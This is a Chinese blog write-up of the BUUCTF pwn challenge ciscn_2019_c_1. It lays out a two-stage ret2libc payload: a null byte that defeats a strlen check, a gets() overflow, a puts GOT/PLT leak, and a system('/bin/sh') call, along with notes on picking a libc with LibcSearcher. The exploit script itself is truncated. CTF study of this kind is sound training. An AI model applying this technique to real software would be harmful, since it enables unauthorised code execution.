BUUCTF-PWN-ciscn_2019_c_1
BUUCTF-PWN-ciscn_2019_c_1
做这题的时候碰到了很多奇怪的事,在后面会有体现,如有大佬看到,望予以解答
checksec
IDA
这个程序大致是用来加密解密一段字符串的,但是很明显可以看到2.Decrypt
是没有用的,那么来看看1.Encrypt
的内容:
看到了gets
函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到ret2libc
payload
第一次溢出
'\0'
#用来绕过if ( v0 >= strlen(s) )
,(strlen()
在读取字符串的时候 会 一直读到 \0 处停止;)b'a' * (0x50 + 0x8 - 1)
#与前面的'\0'
一起,覆盖s的栈并溢出
p64(rdi_ret)
p64(puts_got)
p64(puts_plt)
# 利用puts函数的got表和plt表来泄露libc版本p64(main_addr)
# 返回主函数再进行下一次溢出
第二次溢出
'\0'
#用来绕过if ( v0 >= strlen(s) )
,(strlen()
在读取字符串的时候 会 一直读到 \0 处停止;)b'a' * (0x50 + 0x8 - 1)
#与前面的'\0'
一起,覆盖s的栈并溢出p64(ret)
# ubuntu18(题目给出的环境)上有栈平衡,用ret来进行栈对齐p64(rdi_ret)
p64(binsh)
# /bin/sh地址p64(sys_addr)
# system函数地址
EXP
1 | from pwn import * |
结果
一些问题的说明
做题期间参考了一些文章,他们都是使用LibcSearcher
解的题,但是实际我遇到的情况与他们的文章是有不符的:
- 有好几篇文章的EXP都用了两行
p.recvline()
来接受两个puts函数的输入,而我试过这样是根本打不通的,我在EXP中的方式如下:
1 | p.recvuntil('Ciphertext\n') |
- 还有别的解法是,不直接绕过
if ( v0 >= strlen(s) )
,而是“将计就计”利用if下面的代码,读者可以自行百度 - 如结果中的图片所示,根据我们给出的puts函数的一些数据,LibcSeacher匹配到了9个版本的libc,然后需要自行选择尝试,而奇怪的是,没有一篇我能查到的题解提到了这一步,似乎大佬们都是跑完脚本就直接拿到shell的,这一点我不知道是什么原因
- 再说一下上面的9个libc版本,我仅仅试了amd64版本的几个,发现3号和4号可以打通,0号和5号不行(不排除偶然情况,或者是别的原因)
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Clerk.Max(well);!
评论